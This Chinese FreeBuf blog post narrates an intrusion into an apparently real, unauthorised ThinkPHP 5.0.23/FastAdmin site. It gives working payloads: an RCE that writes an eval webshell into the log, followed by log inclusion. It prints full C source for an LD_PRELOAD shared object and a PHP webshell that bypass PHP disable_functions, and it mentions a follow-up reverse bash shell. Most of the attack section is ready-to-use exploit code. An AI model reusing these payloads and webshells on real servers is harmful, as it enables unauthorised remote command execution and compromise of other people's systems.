freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一次曲折的tp实战,从disabled_func绕过到反弹bash
pho3n1x 2023-02-10 08:50:43 142152
所属地 江西省

前言

这是一个别人在摸鱼时摸到的一个站,他发现有个洞但是始终无法利用,于是求助于我,那么我就浅浅渗透一下吧!

前期得到信息有:thinkphp5,有tp5_rce漏洞,但是phpinfo显示有问题,命令执行有问题无法写入shell,猜测有防火墙

信息收集

他并没有对各种信息进行前期的收集,终究还是把重担丢给了老实人。

这里为了避免动静太大于是直接使用在线平台进行一波端口扫描(主要是不想暴露,也不想等),这里使用的潮汐指纹,有意义的内容并不多

这里发现了CDN存在,可是庆幸的是这CDN没啥用,并不具备防御能力。

Thinkphp实锤,并且是改源的fastadmin,那么就不需要对目录进行爆破了.

端口开放就是那几个端口,都检测过了没用利用空间

使用tp漏洞扫描工具进行漏洞探测

发现了存在ThinkPHP 5.0.23 RCE,通过payload进入测试页面查看phpinfo内容,获得更多信息用于进一步测试,同时验证其言论的真实性

这可能就是其说的phpinfo不完整,但是这其实是phpinfo内部参数导致的,应该是测试的payload并未看懂导致的,将参数设置为0即可

获取disable_functions如下:

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server


开始测试防火墙,写入一段极具攻击性的复杂payload(具体借鉴sqlmap的防火墙测试),但是和网址瞎写的结果是一样的,如下:

初步判断,防火墙并不存在,那么其判断无法进行漏洞利用的原因估计是命令执行函数全部禁用,然后就判断防火墙存在,ok,信息收集阶段结束。

漏洞利用

这里禁用了所有的命令执行函数因此普通的利用方式并不可行,那么可以利用日志包含

通过报错将其写入日志

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=<?php @eval($_POST['123']); ?>

然后利用think\__include_file进行日志包含

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202302/3.log&123=phpinfo();

如果使用open_basedir限制了包含目录,导致日志包含不了的话我还有后手的,详情请见下面的csdn文章,我就不在此演示了,

https://blog.csdn.net/qq_39495209/article/details/111934908


那么就可以利用蚁剑试试连接然后利用蚁剑的插件进行绕过

很遗憾绕过disable_function插件失败了,虽然不知道是不是因为我没更新哈

产生的还是失败了,还得我来把垃圾文件删了,麻烦死了

disabled_function绕过

虽然蚁剑的绕过失败了,但是经过我对收集的信息的判断,LD_PRELOAD是绝对可以利用的,因为putenv函数并未被禁用,有些开发者自己鼓捣了一些非权威危险函数列表,比如system、shell_exec、exec、passthru、phpinfo等,但是并没有绝对的作用的其实就是一个黑名单,搞web安全的都知道,凡是黑名单都存在被绕过的可能,尤其php又是一门这么灵活的语言再加之和其它应用结合的情况下,绕过的可能性更加大了。

这里有一篇文章讲述了4种disabled_function绕过手段

https://www.freebuf.com/articles/web/192052.html

1.攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
2.寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3.mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
4.利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果


这里利用到的是最后一种使用LD_PRELOAD绕过disable_functions

具体原理可见https://www.meetsec.cn/index.php/archives/44/(讲得非常好,字字珠玑)

这里就只展示利用了通过编写动态库达到对php进行动态链接库劫持

编写动态链接库

bypass_disablefunc.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

通过编译命令到linux上编译出来,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:


要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。


编写php小马劫持链接库

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
    unlink($out_path);
?>


bypass_disablefunc.php 提供三个 GET 参数。

1. cmd 参数,待执行的系统命令(如 pwd);
2.  outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;
3.  sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向了: $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

编译完成,文件如下:

成功绕过

将这些文件放在同目录做相对引用即可

然后访问

http://x.x.x.x/bypass.php?cmd=id&outpath=/tmp/test&sopath=bypass_disablefunc_x64.so

后渗透

反弹bash

反弹bash,通过写sh文件并通过上面写入的php小马进行执行得到bash.

# 漏洞 # 渗透测试 # 网络安全 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 pho3n1x 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
pho3n1x LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 0 关注者
Java_JDBC(commonscollection3.2.2)Bypass
2024-01-01
JWT攻击常用的两种算法
2021-10-03
文章目录